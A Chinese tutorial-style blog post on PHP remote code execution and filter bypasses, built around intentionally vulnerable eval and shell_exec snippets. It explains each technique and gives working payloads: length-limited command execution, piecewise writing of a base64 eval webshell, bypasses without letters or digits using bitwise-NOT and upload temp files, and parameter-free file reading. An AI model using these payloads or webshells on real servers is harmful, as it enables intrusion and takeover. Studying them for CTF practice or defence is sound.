RCE漏洞及绕过

news2024/12/25 23:25:29

目录

1、RCE概述

(1)命令执行函数

(2)代码执行函数

2、回调后门

3、eval和assert

限制字符长度绕过

(1)反引号或exec

(2)file_put_contents写入文件

(3)回调后门+变长参数

(4)拼接文件名

无字母数字绕过

(1)取反码

(2)临时文件

无参数读文件和RCE

(1)Apache

(2)Nginx


1、RCE概述

RCE漏洞:远程代码执行和远程命令执行

在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时,就产生了RCE漏洞。

(1)命令执行函数

system(),  passthru()  -->可以直接输出结果

exec(),  shell_exec()    -->需要echo打印结果

(2)代码执行函数

eval(),   assert()    -->执行php代码

 call_user_func(),   call_user_func_array()  -->回调函数 

2、回调后门

有回调函数作为参数的函数 -->回调后门

call_user_func() ,   call_user_func_array() , array_filter() 等等

3、eval和assert

eval在php中是动态执行的方法,不能通过$_GET和$_POST来动态传递进行执行

assert是php的函数,可以动态传递进行执行

例:如有回调后门如下

call_user_func('assert',$_REQUEST['pass']);

我们在用蚁剑进行连接的时候,如果这样:

?pass=$_POST[123] 

这样连接会失败,要在前面加上eval,

 这样才能连接成功

限制字符长度绕过

<?php
$param = $_REQUEST['param']; 
if (strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false)
{
    eval($param);
}

(1)反引号或exec

?param=echo%20`$_GET[1]`;&1=whoami

?param=exec($_GET[1]);&1=whoami

(2)file_put_contents写入文件

将一句话木马进行base64编码后一个一个写入文件

为什么必须编码?

因为像< 这些特殊符号,不能直接写入

?1=file_put_contents&param=$_GET[1](N,P,8);
?1=file_put_contents&param=$_GET[1](N,D,8);
...
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/

?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

(3)回调后门+变长参数

usort(...$_GET)

usort —> 使用用户自定义的比较函数对数组中的值进行排序

用BurpSuit抓包,修改post和get值

(4)拼接文件名

<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 )
{
       	echo shell_exec($param);
}

 echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d> c.php

因为长度限制,将上面一句命令拆分开,通过常见文件的方式绕过

 最后再用ls -t 以创建时间的列出当前文件夹下所有文件,就拼接回去了

注意:每一个文件名后面都要加上\,因为文件名都是以换行符结尾,在ls -t列出文件的时候,\起到转义换行符的作用

无字母数字绕过

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

(1)取反码

php7中,支持这样执行函数:('phpinfo')();

payload:

(~%8F%97%8F%96%91%99%90)();

将 phpinfo取反 : ~phpinfo -->urlcode编码 :%8F%97%8F%96%91%99%90

payload再次取反,就复原了,成功绕过

(2)临时文件

php上传文件机制:

第一步:将本地的文件上传到服务器的临时目录 /tmp

第二步:将上传的文件从临时目录移动到指定的目录中,再删除临时文件

思路:

(1)上传一个shell文件(虽然上传不成功,但是代码没执行完毕临时文件不会删除),将要执行的代码写入文件

(2)再通过get传参传入命令,执行临时文件

阻碍:

1、 上传的临时文件没有x执行权限, -->  . phpasgdfK (点加空格加文件名执行)

2、 不知道临时文件名,为随机生成的

临时文件名特征:随机文件名为: phpxxxxxx  ,但最后一个位大多是大写字母,只有少数部分位小写字母和数字

大写字母ASCII范围是: @-[

Linux glob 通配符:? 匹配任意一个字符,* 匹配任意多个字符

payload:

?code=?><?=`.+/???/????????[@-[]`;?>

无参数读文件和RCE

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{    
    eval($_GET['code']);
}
?>

上面正则只能匹配函数,不能有参数,但是可以嵌套函数 -->  a(b(c()))

(1)Apache

apache有getallheaders()函数,获取所有header

code=eval(next(getallheaders()));

user-agent:phpinfo();

用BurpSuit抓包,修改header内容,将要执行的命令写入头部

(2)Nginx

找到flag文件

1、print_r(scandir('.')); 

但是不能有 . 这个参数,所以找到输出 . d 的函数

(1)print_r(scandir(current(localeconv())));  --pos是current的别名,也可以

(2)chr(46) 是字符 .
   chr(current(localtime(time())));

2、print_r(scandir('绝对路径'));

print_r(scandir(getcwd()));

读flag文件

show_source(array_rand(array_flip(scandir(getcwd()))));

array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2039684.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构——循环队列

目录 循环队列的基本知识 循环队列的实现 定义 各个接口的实现 循环队列的基本知识 循环队列的定义 循环队列&#xff08;Circular Queue&#xff09;是一种使用固定大小的数组实现的队列&#xff0c;它将数组的首尾相连&#xff0c;形成环形&#xff0c;以充分利用空间并实…

react组件优化之React.PureComponent,React.memo

在开发中我们经常会考虑项目的优化问题&#xff0c;react作为现在前端的热门框架用的人肯定是非常的多。项目的优化问题也是非常重要的一部分&#xff0c;能大大提高项目的流畅度&#xff0c;用户体验会非常好。react项目中会用到大量的组件嵌套&#xff0c;减少一些组件的不必…

第二证券:虚拟现实概念强势,博士眼镜三连板,星星科技涨停

虚拟现实概念14日盘中再度走强&#xff0c;到发稿&#xff0c;硕贝德、博士眼镜、星星科技“20cm”涨停&#xff0c;亚世光电、亿道信息、卓翼科技亦涨停&#xff0c;佳禾智能涨超9%。 值得注意的是&#xff0c;博士眼镜已连续3个交易日涨停。公司昨日在出资者互动途径表示&am…

【二叉树进阶】--- 根据二叉树创建字符串

Welcome to 9ilks Code World (๑•́ ₃ •̀๑) 个人主页: 9ilk (๑•́ ₃ •̀๑) 文章专栏&#xff1a; 数据结构 从本篇文章开始&#xff0c;博主将分享一些结合二叉树的进阶算法题。 &#x1f3e0; 根据二叉树创建字符串 &#x1f4cc; 题目内容 根据二叉…

若依框架中的mybatis依赖在哪里?

对于刚刚接触若依框架的朋友,可能会比较懵逼,因为他可能在依赖文件中没有找到mybatis的依赖是在什么地方引入的,所以本章教程,就告诉你这个依赖是在什么地方引入的。 在ruoyi-common模块中的pom.xml 存在一个pagehelper-spring-boot-starter <!-- pagehelper 分页插件 -…

一文HDMI (High-Definition Multimedia Interface)

HDMI&#xff08;High-Definition Multimedia Interface&#xff0c;高清多媒体接口&#xff09;是一种紧凑的音视频接口&#xff0c;它能够将未压缩的视频数据以及压缩或未压缩的数字音频数据&#xff0c;从符合HDMI标准的源设备无缝传输到兼容的计算机显示器、视频投影仪、数…

springboot学生练习自测系统-计算机毕业设计源码48462

目 录 摘要 1 绪论 1.1 研究背景 1.2 研究意义 1.3论文结构与章节安排 2 学生练习自测系统系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据增加流程 2.2.2 数据修改流程 2.2.3 数据删除流程 2.3 系统功能分析 2.3.1 功能性分析 2.4 系统用例分析 2.5本章小…

STM32学习笔记13-FLASH闪存

FLASH简介 STM32F1系列的FLASH包含程序存储器、系统存储器和选项字节三个部分&#xff0c;通过闪存存储器接口&#xff08;外设&#xff09;可以对程序存储器和选项字节进行擦除和编程读写FLASH的用途&#xff1a; 利用程序存储器的剩余空间来保存掉电不丢失的用户数据 通过在…

【瑞芯微RV1126(板端摄像头图像数据采集)】②使用v4l2视频设备驱动框架采集图像数据,按键拍照并显示

RV1126开发板&#xff1a;使用v4l2视频设备驱动框架采集图像数据 前言一、按键二、LCD显示三、V4L2 摄像头应用编程四、完整代码 前言 本系列的目的是&#xff0c;不仅仅将能够进行图片推理的模型部署于板端&#xff0c;还提供了两种摄像头数据采集的方法&#xff0c;集成到自…

【python】OpenCV—Optical Flow

文章目录 1、光流2、Opencv 中光流的实现3、稀疏光流4、密集光流4.1、farneback4.2、lucaskanade_dense4.3、rlof 5、涉及到的库5.1、cv2.goodFeaturesToTrack5.2、cv2.calcOpticalFlowPyrLK5.3、cv2.optflow.calcOpticalFlowSparseToDense5.4、cv2.calcOpticalFlowFarneback5.…

超赞!墙裂推荐这款开箱即用、永久免费的运维监控平台

文章目录 简介一、初次印象&#xff1a;直观而强大的界面二、深入体验&#xff1a;6个重点功能模块1、告警管理2、综合监控3、业务服务4、网络拓扑5、可视化管理6、知识库7、报表管理 Lerwee AI 在当今这个数字化时代&#xff0c;企业依赖于强大的IT基础设施来支持其日常运营。…

微软Detours Hook库编译与使用

Detours 是微软开发的一个强大的Windows API钩子库&#xff0c;用于监视和拦截函数调用。它广泛应用于微软产品团队和众多独立软件开发中&#xff0c;旨在无需修改原始代码的情况下实现函数拦截和修改。Detours 在调试、监控、日志记录和性能分析等方面表现出色&#xff0c;已成…

java之如何爬取本地数据(利用正则表达式)

public class RegexDemo4 {public static void main(String[] args) {String s"程序员学习java&#xff0c;""电话&#xff1a;181512516758&#xff0c;18512508907" "或者联系邮箱&#xff1a;boniuitcast.cn&#xff0c;""座机电话&…

基于vue框架的RTY个人记账管理系统03jc1(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能&#xff1a;用户,收入分类,支出分类,收入信息,支出信息,开支预算,负债信息 开题报告内容 基于Vue框架的RTY个人记账管理系统 开题报告 一、研究背景与意义 随着社会经济的快速发展和人们生活水平的不断提升&#xff0c;个人财务管理成为越来越…

centos7.9 内核升级至5.4

一、修改yum源 查看现有系统内核版本&#xff1a; 备份系统自带的yum源&#xff1a; 一、修改CentOS-Base.repo ## cat CentOS-Base.repo # CentOS-Base.repo # # The mirror system uses the connecting IP address of the client and the # update status of each mirror t…

详细解读keepalived高可用集群

一.高可用集群 1.1 集群类型 LB&#xff1a;Load Balance 负载均衡LVS/HAProxy/nginx&#xff08;http/upstream, stream/upstream&#xff09;HA&#xff1a;High Availability 高可用集群数据库、RedisSPoF: Single Point of Failure&#xff0c;解决单点故障HPC&#xff1…

docker容器挂载USB串口设备

1、在容器所在宿主机确认USB串口设备 有两种方法可以将USB设备挂载到容器中: 使用--privileged参数或者使用--device参数 --prvleged参数可以让容器拥有主机的所有特权&#xff0c;包括所有可以访问USB设备。--device参数可以针对特定的设备挂载到容器中。 [rootdocker40 ~]…

【经验总结】ShardingSphere+Springboot-01模式参数配置

文章目录 详细配置&#xff08;boot&#xff09;一、模式配置&数据源配置1.1 模式配置1.2 数据源配置1.3 默认数据源的配置默认数据源配置结论 二、基础属性配置2.1 在日志中打印 SQL2.2 在程序启动和更新时&#xff0c;是否检查分片元数据的结构一致性 详细配置&#xff0…

JavaScript高阶笔记总结第三天:(JavaScript高阶完结)

Xmind鸟瞰图&#xff1a; 简单文字总结&#xff1a; js高阶笔记总结&#xff1a; 严格模式&#xff1a; 1.开启严格模式&#xff1a;"use strict" 2.不使用var关键字声明会报错 3.严格模式下普通函数的this指向undefined 高阶函数&#xff1a; 满足…

浅谈C/C++指针和引用在Linux和Windows不同环境下的编码风格

目录 0. 前言 1. 代码块、函数体上的 { } 的规范 2. 指针和引用中的 * 和 & 符号的位置 1. Linux 环境下编码风格(gcc) 2. Windows 环境下编码风格(Visual Studio) 3. 简单总结 0. 前言 C/C因为高度的自由性&#xff0c;并没有对一些常见的编码风格进行限制&#…